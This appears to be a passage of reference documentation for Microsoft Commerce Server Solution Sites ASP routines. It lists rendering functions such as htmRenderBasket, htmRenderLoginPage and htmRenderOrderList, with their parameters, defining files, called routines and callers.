PrepareCopyAction

PrepareDeleteAction

PrepareDeleteAllAction

PrepareDeselectAllAction

PrepareEditAction

PrepareSaveAction

PrepareSaveChangesConfirmation

PrepareSelectAllAction

SelectAllActionHandler

Called By

Main (services\partner\edit_user.asp)


htmInsertProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the edit page by calling the htmRenderEditPage function if the profile has been successfully inserted during the profile save operation that calls this function; otherwise, it renders the edit page by calling the htmRenderBlankEditPage function.

Definition

Function htmInsertProfile(
  byVal sAction,
  byVal sSubAction,
  byVal bInserted,
  byVal sProfileIDs,
  byVal sStatusField,
  byVal iStatusID,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues,
  byVal listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

Routines Called

htmRenderEditPage

Called By

htmSaveActionHandler


htmListPageActionHandlers - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function provides rendering for the "List" page action handler.

Definition

Function htmListPageActionHandlers(
  byRef sAction,
  byVal sSubAction,
  byVal sProfileIDs
)

Defined in File

services\partner\users.asp

Routines Called

GenerateURL

htmRenderProfilesList

InitializePagingVariables

SelectedActionHandlerForList

Called By

Main (services\partner\users.asp)


htmOrderDetailsActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function provides rendering for the "Order details" action handler.

Definition

Function htmOrderDetailsActionHandler(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal iProfileCount
)

Defined in File

services\include\order_handlers.asp

Routines Called

htmRenderOrderDetailsForIDs

RedirectOrderDetailsForIDs

Called By

Main (services\customer\view_order.asp)

Main (services\partner\view_order.asp)


htmOrderListActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function provides rendering for the "Order List" action handler.

Definition

Function htmOrderListActionHandler(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs
)

Defined in File

services\partner\orders.asp

Routines Called

htmRenderOrderList

InitializePagingVariables

Called By

Main (services\partner\orders.asp)


htmRenderAddress - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders an address.

Definition

Function htmRenderAddress(
  addr_dict
)

Defined in File

summary.asp

Routines Called

None.

Called By

htmRenderSummaryPage

Remarks

The source code also illustrates how to use an alternative address format, based on the site configuration default locale.


htmRenderAddressBook - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the address book.

Definition

Function htmRenderAddressBook(
  byVal iAddrType,
  byRef rsAddresses,
  byVal sCheckedAddrID
)

Defined in File

addrbook.asp

Routines Called

GenerateURL

htmRenderAddressRows

RenderCheckBox

RenderForm

RenderSubmitButton

RenderText

Called By

htmRenderAddressBookPage


htmRenderAddressBookPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the address book page.

Definition

Function htmRenderAddressBookPage(
  byVal iAddrType,
  rsAddresses,
  byVal sCheckedAddrID
)

Defined in File

addrbook.asp

Routines Called

GenerateURL

RenderLink

htmRenderAddressBook

RenderText

Called By

Main (addrbook.asp)


htmRenderAddressForm - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the address form page.

Definition

Function htmRenderAddressForm(
  byRef dictFldVals,
  byRef dictFldErrs,
  byVal iAddrType,
  byVal sAction,
  byVal sAddrID
)

Defined in File

newaddr.asp

Routines Called

GenerateURL

htmRenderFillOutForm

RenderText

Called By

Main (newaddr.asp)


htmRenderAddressRows - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the address rows on the address book page.

Definition

Function htmRenderAddressRows(
  byVal iAddrType,
  byVal rsAddresses,
  byVal sCheckedAddrID
)

Defined in File

addrbook.asp

Routines Called

GenerateURL

RenderLink

RenderRadioButton

RenderTable

RenderTableDataRow

RenderTableHeaderRow

RenderText

Called By

htmRenderAddressBook


htmRenderBasket - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function is called by the subroutine RenderBasketPage to construct the table (embedded within a form) that displays the current contents of the basket.

Definition

Function htmRenderBasket(
  mscsOrderGrp,
  oOrderFormDisplayOrder
)

Parameters

mscsOrderGrp
A reference to an OrderGroup object containing the basket contents to be displayed.
oOrderFormDisplayOrder
A reference to a SimpleList object that contains an alphabetically sorted list of keys corresponding to the OrderForm objects within the OrderGroup object. This allows the OrderForm objects to be processed in alphabetical order regardless of their relative positions with the OrderGroup object.

Return Value

A string containing the HTML representation of the contents of the basket, formatted as a table within a form.

Defined in File

basket.asp.

Routines Called

CreatePOIndexes

GenerateURL

htmRenderCurrency

RenderForm

RenderLink

RenderSubmitButton

RenderTable

RenderTableDataRow

RenderTableHeaderRow

RenderText

RenderTextBox

Called By

RenderBasketPage


htmRenderBasketWarnings - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the basket warnings.

Definition

Function htmRenderBasketWarnings(
  mscsOrderGrp,
  oOrderFormDisplayOrder,
  sErrCollectionName
)

Defined in File

basket.asp

Routines Called

RenderText

Called By

RenderBasketPage


htmRenderBlankEditPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders a blank edit page for any profile.

Definition

Function htmRenderBlankEditPage(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal sStatusField,
  byVal iStatusID,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues,
  byVal listProfileSchema
)

Defined in File

services\include\render_edit_blank.asp

Routines Called

formRenderBlankEditPageBody

GenerateURL

RenderForm

RenderTable

RenderText

rowRenderHeader

rowRenderStatusInfo

sGetPageHeading

Called By

htmAddActionHandler

htmCloseActionHandler

htmInsertProfile


htmRenderBlankSpaces - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders HTML blank spaces (&nbsp).

Definition

Function htmRenderBlankSpaces(
  byVal nSpaces
)

Defined in File

services\include\render_common.asp

Routines Called

None.

Called By

cellRenderReadOnlyProperty

rowRenderAdvancedSearchOptionsForOrders

rowRenderEditSheetBlankLine

rowRenderLineItemHeader

rowRenderListHeading

rowRenderListHeadingForOrders

rowRenderMessageBoxPageContents

rowRenderPropertyGroup

rowRenderPropertyTip

rowRenderSearchOptionForDate

rowRenderStatusInfo

sRenderHTMLPreFixForProperty

tableChangePasswordTasks

tableRenderEditPageTasks

tableRenderFooterInfo

tableRenderListPageTasks

tblRenderOrderDetailsContents


htmRenderBoolean - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders a check box corresponding to a Boolean property.

Definition

Function htmRenderBoolean(
  byVal sPropertyName,
  byVal varPropertyValue
)

Defined in File

services\include\render_common.asp

Routines Called

RenderCheckBox

Called By

colRenderProperty


htmRenderBuiltInProperties - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function constructs an HTML representation of the built-in product price property, formatted with a string retrieved from the global MessageManager object.

Definition

Function htmRenderBuiltInProperties(
  byVal rsProperties,
  byVal sPropertyName,
  byVal style
)

Parameters

rsProperties
A Recordset object containing the values of the properties of a product.
sPropertyName
A string containing the name of a built-in currency property, typically the product price. In the single instance where this function is called (in the file product.asp), the constant PRODUCT_PRICE_PROPERTY_NAME is passed as the value of this parameter.
style
A string containing a list of attributes to be associated with the text rendered within a FONT element. In the single instance where this function is called (in the file product.asp), the value of MSCSSiteStyle.Body is passed as the value of this parameter.

Return Value

A string containing the HTML representation of a built-in currency property value, presented in the format "S: X", where "S" is the language-specific string associated with "L_Product_Price_DisplayName_HTMLText" in the current language, and "X" is the HTML produced by the htmRenderCurrency function.

Defined in File

product.asp.

Routines Called

htmRenderCurrency

RenderText

Called By

Main (product.asp)

Remarks

The fact that this function renders the specified property value as a currency value and formatted with a display string designed for product prices means that it actually has a much narrower purpose than implied by its name and the presence of the sPropertyName parameter.


htmRenderCatalogList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates a string that contains a series of links to different catalogs, separated by carriage returns.

Definition

Function htmRenderCatalogList(
  byVal rsCatalogs,
  byVal style
)

Parameters

rsCatalogs
A Recordset object that contains a number of catalog records. There must be a Fields entry corresponding to the constant "CATALOG_NAME_PROPERTY_NAME".
style
A set of attributes corresponding to the FONT element, used when creating the HTML representation of the catalog name.

Return Value

A string containing the HTML representation of a series of links to different catalogs, where the link text is the name of the catalog, and where each link is separated by a carriage return.

Defined in File

include\catalog.asp

Routines Called

RenderCatalogLink

Called By

htmRenderCatalogSection

htmRenderDefaultPage


htmRenderCatalogSection - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates the HTML representation of the catalog section of the menu, including an appropriate header, and an indication of no catalogs being available, a list of categories in a single catalog, or a list of multiple catalogs.

Definition

Function htmRenderCatalogSection(
  byVal style,
  byVal rsCatalogs,
  byVal iCatalogCount,
  byVal oCatalog,
  byVal sCatalogName,
  byVal rsCategories
)

Parameters

style
A set of attributes corresponding to the FONT element, used when creating the HTML representation of the catalog name.
rsCatalogs
A reference to a copy of a Recordset object that contains a number of catalog records. There must be a Fields entry corresponding to the constant "CATALOG_NAME_PROPERTY_NAME".
iCatalogCount
An integer that indicates the number of catalogs in the rsCatalogs parameter.
oCatalog
A reference to a copy of a ProductCatalog object.
sCatalogName
A string containing the name of a category.
rsCategories
A reference to a copy of a Recordset object that contains a number of category records/

Return Value

A string containing the HTML representation of the catalog section of the menu area. This string contains one of the following:

  • When no catalogs are found, a catalog header and a string indicating that no catalogs were found.
  • When more than one catalog is found, a catalog header and a list of links to the multiple catalogs.
  • When one catalog is found, a list of links to the categories in the single catalog.

Defined in File

template\menu.asp

Routines Called

htmRenderCatalogList

htmRenderCategoriesList

RenderText

Called By

htmRenderMenu

Remarks

This function depends on a preceding call to the PrepareCatalogSection function to establish its parameters.


htmRenderCategoriesList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates the HTML representation of a list of links to the categories within the passed Recordset object.

Definition

Function htmRenderCategoriesList(
  byVal oCatalog,
  byVal rsCategories,
  byVal style
)

Parameters

oCatalog
A reference to a copy of a ProductCatalog object. Not used in this function.
rsCategories
A reference to a copy of a Recordset object that contains a number of category records. There must be Fields entries corresponding to the constants "CATALOG_NAME_PROPERTY_NAME" and "CATEGORY_NAME_PROPERTY_NAME".
style
A set of attributes corresponding to the FONT element, used when creating the HTML representation of the category name.

Return Value

A string containing the HTML representation of a list of links to the categories in the passed Recordset object, separated by carriage returns.

Defined in File

include\catalog.asp

Routines Called

RenderCategoryLink

Called By

htmRenderCatalogSection

htmRenderCategoryPage


htmRenderCategoryPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders a category page, which lists subcategories and products within a category.

Definition

Function htmRenderCategoryPage(
  byVal oCatalog,
  byVal sCatalogName,
  byVal sCategoryName,
  byVal oCategory,
  byVal rsProducts,
  byVal nPageNumber,
  byVal nOutPagesTotal
)

Parameters

oCatalog
A reference to a copy of a ProductCatalog object.
sCatalogName
A string containing the name of a catalog.
sCategoryName
A string containing the name of a category.
oCategory
A reference to a copy of a Category object.
rsProducts
A reference to a copy of a Recordset object that contains a number of product records corresponding to the current catalog and category. This parameter is passed through to the function htmRenderProductsTable.
nPageNumber
A number indicating the page to be displayed.
nOutPagesTotal
A number indicating the total number of pages available for display.

Return Value

A string containing the HTML representation of a category page, which consists of the following sections:

  • If there are more than one pages that can be displayed, a line of numbered links to different pages within the category.
  • If displaying the first page of category information, a list of links to sub-categories.
  • A list of associated products, as created by the function htmRenderProductsTable.

If there are no sub-categories or products, a string indicating that is displayed in place of the second two sections.

Defined in File

include\catalog.asp

Routines Called

FormatOutput

htmRenderCategoriesList

htmRenderProductsTable

mscsGetSubCategoriesList

RenderCategoryURL

RenderLink

RenderText

Called By

htmCategoryHTML

htmRenderDefaultPage


htmRenderChangePasswordPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the change password page.

Definition

Function htmRenderChangePasswordPage(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal sStatusField,
  byVal iStatusID,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues
)

Defined in File

services\include\render_password.asp

Routines Called

formRenderChangePasswordPageContents

GenerateURL

iGetCountOfProfiles

RenderForm

RenderTable

RenderText

rowRenderHeader

rowRenderStatusInfo

rsGetProfileDetails

sGetPageHeading

Called By

ChangeActionHandler

UpdatePasswordActionHandler


htmRenderCheckoutButton - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the checkout button.

Definition

Function htmRenderCheckoutButton()

Defined in File

basket.asp

Routines Called

GenerateURL

RenderForm

RenderSubmitButton

Called By

RenderBasketPage


htmRenderConfirmationPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function, called by Main, renders the confirmation page.

Definition

Function htmRenderConfirmationPage(
  sOrderID,
  mscsOrderGrp,
  sOrderNumber
)

Defined in File

confirm.asp

Routines Called

FormatOutput

GenerateURL

RenderLink

RenderText

Called By

Main (confirm.asp)


htmRenderCountries - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders all the country/region names in an HTML combo box.

Definition

Function htmRenderCountries(
  byVal oProperty,
  byVal sPropertyValue,
  byVal arrCountryNames
)

Defined in File

services\include\render_common.asp

Routines Called

htmRenderSelectEndTag

htmRenderSelectTag

Called By

colRenderCountryNames


htmRenderCreditCardPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the credit card page.

Definition

Function htmRenderCreditCardPage(
  byVal iOrderGroupID,
  byVal bSuccess,
  byVal listMethods,
  byVal listFrmErrs,
  byVal dictFldVals,
  byVal dictFldErrs,
  byVal sVerifyWithTotal,
  byVal urlAction,
  byVal iErrorLevel
)

Defined in File

crdtcard.asp

Routines Called

GenerateURL

htmRenderFillOutForm

htmRenderPaymentOptionsForUser

RenderText

Called By

Main (crdtcard.asp)


htmRenderCurrency - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders a monetary value, using the base currency setting. It will also render the monetary value and the alternate currency for the site (for example, the Euro) depending on the settings of the site.

Definition

Function htmRenderCurrency(
  byVal cyCurrency
)

Parameters

cyCurrency
The currency value to be represented in HTML.

Return Value

A string containing the HTML representation of the passed currency value. Depending on the App Default Config settings for the i_AltCurrencyOptions and i_CurrencyDisplayOrderOptions parameters, the currency is displayed as the base currency only, as the base currency followed by the alternate currency, or as the alternate currency followed by the alternate currency.

Defined in File

include\std_util_lib.asp

Routines Called

RenderText

Called By

arrPopulateOrderHeaderDetails

GetPriceAndCurrency

htmRenderBasket

htmRenderBuiltInProperties

htmRenderGrandTotals

htmRenderOrderForm

htmRenderShippingOptionsEx

htmRenderVariantsList

tblRenderOrderDetailsContents


htmRenderCustomerServiceSection - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the HTML representation of the Customer Service section of the menu area.

Definition

Function htmRenderCustomerServiceSection(
  byVal style
)

Parameters

style
A set of attributes corresponding to the FONT element, used when creating the HTML representation of the link text for both user and order management.

Return Value

A string containing the HTML representation of the Customer Service entries in the menu area. These entries include a string indentifying the Customer Service section, and two links: one to the edit the user's profile, and one to list the user's orders.

Defined in File

template\menu.asp

Routines Called

GenerateURL

RenderLink

RenderText

Called By

htmRenderMenu


htmRenderDefaultPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the HTML for the home page.

Definition

Function htmRenderDefaultPage(
  byVal CatalogSetID,
  byVal rsCatalogs,
  byVal iCatalogCount,
  byVal sCatalogName,
  byVal oCatalog,
  byVal oCategory,
  byVal rsProducts,
  byVal nPageNumber
)

Defined in File

default.asp

Routines Called

CacheFragment

htmRenderCatalogList

htmRenderCategoryPage

RenderText

Called By

Main (default.asp)


htmRenderDiscountMessageGroup - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the discount messages on the basket.asp page.

Definition

Function htmRenderDiscountMessageGroup(
  mscsOrderGrp,
  sCiidCollection,
  sMessageGroupDescription
)

Defined in File

basket.asp

Routines Called

Bold

GetDictionary

GetDiscountDescription

RenderPreFormattedText

Called By

htmRenderDiscountMessages


htmRenderDiscountMessages - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the discount messages and the discounts applied to the basket by calling the htmRenderDiscountMessageGroup and htmRenderDiscountsApplied functions.

Definition

Function htmRenderDiscountMessages(
  mscsOrderGrp
)

Defined in File

basket.asp

Routines Called

htmRenderDiscountMessageGroup

htmRenderDiscountsApplied

Called By

RenderBasketPage


htmRenderDiscountsApplied - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the discounts applied to the basket.

Definition

htmRenderDiscountsApplied(
  mscsOrderGrp
)

Defined in File

basket.asp

Routines Called

Bold

GetDictionary

GetDiscountDescription

GetSimpleList

RenderPreFormattedText

Called By

htmRenderDiscountMessages


htmRenderDiscountsDescriptions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the discount descriptions on the summary.asp page.

Definition

Function htmRenderDiscountsDescriptions(
  mscsOrderGrp
)

Defined in File

summary.asp

Routines Called

Bold

GetDictionary

GetDiscountDescription

RenderPreFormattedText

Called By

htmRenderSummaryPage


htmRenderEditPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the contents of any EDIT-type page.

Definition

Function htmRenderEditPage(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal sStatusField,
  byVal iStatusID,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues,
  byVal listProfileSchema
)

Defined in File

services\include\render_edit_common.asp

Routines Called

formRenderEditPageBody

GenerateURL

iGetCountOfProfiles

RenderForm

RenderTable

RenderText

rowRenderHeader

rowRenderStatusInfo

rsGetProfileDetails

sGetPageHeading

Called By

htmCloseActionHandler

htmCopyActionHandler

htmEditAction

htmEditAllProfiles

htmInsertProfile

htmSaveAllActionHandler

htmSaveChangesConfirmationHandler

htmSaveProfiles

htmSelectedActionHandlerForEdit


htmRenderEmptyRecordSet - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the HTML table for an empty recordset.

Definition

Function htmRenderEmptyRecordSet(
  byRef sMsg
)

Defined in File

services\include\render_common.asp

Routines Called

RenderTable

TRTag

Called By

htmRenderOrderList

htmRenderProfilesList

tableRenderMultipleRecords

tableRenderOrdersListContents


htmRenderFillOutForm - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that renders the form specified by the sFormName parameter in the forms Dictionary object stored in the intrinsic Application object, which is under the name "MSCSForms".

Definition

Function htmRenderFillOutForm(
  byVal urlAction,
  byVal sFormName,
  dictFieldVals,
  dictMessages
)

Parameters

urlAction
A string containing the URL to which the form will be posted when it is submitted.
sFormName
A string containing the name of the form specification Dictionary object within the forms Dictionary object stored in the intrinsic Application object, which is under the name "MSCSForms".
dictFieldVals
A Dictionary object of the posted form values, if any. The dictionary keys are the field names, and the corresponding values are the posted form values. If this parameter is set to Nothing, a blank form is rendered. If values are provided, the form is rendered with one or more values filled in.
dictMessages
A Dictionary object containing error messages for each of the posted form values, if any. The dictionary keys are the field names, and the corresponding values are the error message strings. If a field name is found to be a key in this Dictionary object, the corresponding error message is rendered below the field that produced the error.

Return Value

A string containing the HTML that results in the rendering of the specified form.

Defined in File

include\form_lib.asp

Routines Called

CacheFragment

FormatOutput

GetRepeatStyle

LookupCachedFragment

RenderCheckBox

RenderForm

RenderHiddenField

RenderListBoxFromSimpleList

RenderPasswordBox

RenderResetButton

RenderSubmitButton

RenderTable

RenderTableDataRow

RenderText

RenderTextBox

Called By

htmRenderAddressForm

htmRenderCreditCardPage

htmRenderLoginPage

htmRenderNewUserPage

htmRenderPaymentOptionsPage

Main (addrform.asp)

Remarks

If the form is blank, this function attempts to retrieve it from the cache StaticSectionsCache using the value of the sFormName parameter as the cache key.

If this function has constructed the HTML for a blank form, the HTML string containing the form is stored in the cache StaticSectionsCache using the value of the sFormName parameter as the cache key.

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


htmRenderFullTextSearchResults - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the results of a full text search.

Definition

Function htmRenderFullTextSearchResults(
  byRef sPhrase,
  byRef rsResultSet,
  sCacheKey,
  iRecordCount
)

Parameters

sPhrase
A string containing the free text string for which to search.
rsResultSet
A reference to a Recordset object containing the search results, passed through to the function RenderSearchResults.
sCacheKey
A string containing a key under which the constructed HTML will be cached in the FTSearchPageCache cache.
iRecordCount
An integer that specifies the number of search results found.

Return Value

A string containing the HTML representation of the search results title and search results content.

Defined in File

search.asp

Routines Called

CacheFragment

RenderSearchResults

RenderText

Called By

Main (search.asp)


htmRenderGrandTotals - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the grand total of the order.

Definition

Function htmRenderGrandTotals(
  mscsOrderGrp
)

Defined in File

summary.asp

Routines Called

htmRenderCurrency

RenderTableDataRow

Called By

htmRenderSummaryPage


htmRenderLoginPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the login page.

Definition

Function htmRenderLoginPage(
  bSuccess,
  bMustTransferBasket,
  bDisplayGuestOption,
  bDisplayNewUserRegistrationOption,
  sUserID,
  iErrorLevel,
  rsLoginUser,
  mscsGuestUser,
  dictFldVals,
  dictFldErrs,
  listFlds,
  listFrmErrs,
  urlAction
)

Defined in File

login\login.asp

Routines Called

GenerateURL

htmRenderFillOutForm

RenderLink

RenderText

Called By

Main (login\login.asp)


htmRenderLoginSection - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the login section of the menu.asp page.

Definition

Function htmRenderLoginSection(
  byVal sAuthUser,
  byVal bFormLoginSupported,
  byVal mscsUser,
  byVal sLoginName
)

Parameters

sAuthUser
A string containing the login name of the authorized user, passed through to the function RenderText.
bFormLoginSupported
A Boolean value indicating whether login is supported.
mscsUser
A reference to a User object.
sLoginName
A string containing the login name of the user, passed through to the function RenderText.

Return Value

A string containing the HTML representation of the login section of the menu.asp page.

Defined in File

template\menu.asp

Routines Called

CacheFragment

GenerateURL

LookupCachedFragment

RenderLink

RenderText

Called By

htmRenderMenu


htmRenderLogoffPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the logoff page.

Definition

Function htmRenderLogoffPage(
  byVal bReEnterWithFormLogin,
  byVal bReEnterAsGuestOption
)

Defined in File

login\logoff.asp

Routines Called

RenderLink

RenderText

Called By

Main (login\logoff.asp)


htmRenderMenu - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the HTML for a menu, and contains calls to business logic functions as necessary.

Definition

Function htmRenderMenu(
  byVal mscsUser,
  byVal CatalogSetID
)

Parameters

mscsUser
A reference to a User object, passed through to the functions PrepareLoginSection and htmRenderLoginSection.
CatalogSetID
The ID of the catalog set, passed through to the functions CacheFragment and LookupCachedFragment.

Return Value

A string containing the HTML representation of the menu.

Defined in File

template\menu.asp

Routines Called

CacheFragment

GetQualifiedName

GetRequestString

htmRenderCatalogSection

htmRenderCustomerServiceSection

htmRenderLoginSection

htmRenderPartnerServiceSection

htmRenderSearchSection

LookupCachedFragment

PrepareCatalogSection

PrepareLoginSection

RenderTable

Called By

This routine is called by code outside of any routine (sub or function) in the file template\menu.asp.


htmRenderMessageBoxForCancel - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the message box page for a cancel action.

Definition

Function htmRenderMessageBoxForCancel(
  byVal sAction,
  byVal sProfileIDs
)

Defined in File

services\include\render_messagebox.asp

Routines Called

GenerateURL

GetRequestString

tableRenderMessageBoxPage

Called By

htmCloseActionHandler


htmRenderMessageBoxForDelete - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the message box page while deleting entity records.

Definition

Function htmRenderMessageBoxForDelete

Defined in File

services\include\render_messagebox.asp

Routines Called

GenerateURL

tableRenderMessageBoxPage

Called By

htmDeleteActionHandler


htmRenderMessageBoxForDeleteAll - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the message box page for a "DeleteAll" action.

Definition

Function htmRenderMessageBoxForDeleteAll

Parameters

None.

Defined in File

services\include\render_messagebox.asp

Routines Called

GenerateURL

tableRenderMessageBoxPage

Called By

htmDeleteActionHandler


htmRenderMessageBoxForSave - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the message box page with save options.

Definition

Function htmRenderMessageBoxForSave(
  byVal sAction,
  byVal sProfileIDs
)

Defined in File

services\include\render_messagebox.asp

Routines Called

GenerateURL

GetRequestString

tableRenderMessageBoxPage

Called By

None.


htmRenderMessageBoxForSelect - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the message box page for a "Select" action.

Definition

Function htmRenderMessageBoxForSelect(
  byVal sAction,
  byVal sSelectFieldName,
  byVal sProfileIDs
)

Defined in File

services\include\render_messagebox.asp

Routines Called

GenerateURL

GetRequestString

tableRenderMessageBoxPage

Called By

htmRenderMessageBoxPage


htmRenderMessageBoxPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the message box page.

Definition

Function htmRenderMessageBoxPage(
  byVal sAction,
  byVal sSubAction,
  byVal sActionPage,
  byVal sProfileIDs
)

Defined in File

services\include\render_messagebox.asp

Routines Called

bProfileHasChanged

htmRenderMessageBoxForSelect

iGetCountOfProfiles

sGetSelectActionPropertyName

Called By

htmSaveChangesConfirmationHandler


htmRenderNewUserPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the new user page.

Definition

Function htmRenderNewUserPage(
  urlAction,
  dictFldVals,
  dictFldErrs,
  sLanguage
)

Defined in File

login\newuser.asp

Routines Called

htmRenderFillOutForm

RenderText

Called By

Main (login\newuser.asp)


htmRenderOrderDateTypes - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the order date type for both user and organization orders.

Definition

Function htmRenderOrderDateTypes(
  byVal sFieldValue
)

Defined in File

services\include\render_common.asp

Routines Called

htmRenderSelectEndTag

htmRenderSelectTag

Called By

rowRenderSearchOptionForInteger


htmRenderOrderDetails - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the order details.

Definition

Function htmRenderOrderDetails(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal rsOrder
)

Defined in File

services\include\render_orders.asp

Routines Called

formRenderOrderContents

GenerateURL

RenderForm

RenderTable

RenderText

rowRenderHeader

sGetPageHeading

Called By

htmRenderOrderDetailsForIDs


htmRenderOrderDetailsForIDs - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function redirects the user back to the order list page, because multiple orders cannot be viewed at once.

Definition

Function htmRenderOrderDetailsForIDs(
  sAction,
  sSubAction,
  sProfileIDs
)

Defined in File

services\include\order_handlers.asp

Routines Called

htmRenderOrderDetails

rsGetOrderDetails

Called By

htmOrderDetailsActionHandler


htmRenderOrderForm - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the order form.

Definition

Function htmRenderOrderForm(
  mscsOrderForm
)

Defined in File

summary.asp

Routines Called

GenerateURL

GetArrayFromList

htmRenderCurrency

RenderLink

RenderTable

RenderTableDataRow

RenderTableHeaderRow

RenderText

RenderUnorderedList

Called By

htmRenderSummaryPage


htmRenderOrderList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the order list.

Definition

Function htmRenderOrderList(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byRef iPageNumber,
  byRef iTotalRecords,
  byRef iTotalPages
)

Defined in File

services\include\render_orders.asp

Routines Called

formRenderOrderSearchOptions

formRenderOrdersListContents

GenerateURL

htmRenderEmptyRecordSet

PrepareOrderList

RenderForm

RenderTable

RenderText

rowRenderHeader

rowRenderStatusInfo

sGetPageHeading

tableRenderFooterInfo

Called By

htmOrderListActionHandler

Main (services\customer\orders.asp)


htmRenderOrderStatusOptions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the order status options.

Definition

Function htmRenderOrderStatusOptions(
  byVal sFieldValue
)

Defined in File

services\include\render_common.asp

Routines Called

htmRenderSelectEndTag

htmRenderSelectTag

Called By

rowRenderSearchOptionForInteger


htmRenderPartnerDeskRoles - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the user i_PartnerDeskRoleFlags options.

Definition

Function htmRenderPartnerDeskRoles(
  byVal sFieldValue,
  byVal bIsRequired
)

Defined in File

services\include\render_common.asp

Routines Called

htmRenderSelectEndTag

htmRenderSelectTag

Called By

colRenderProperty

rowRenderSearchOptionForInteger


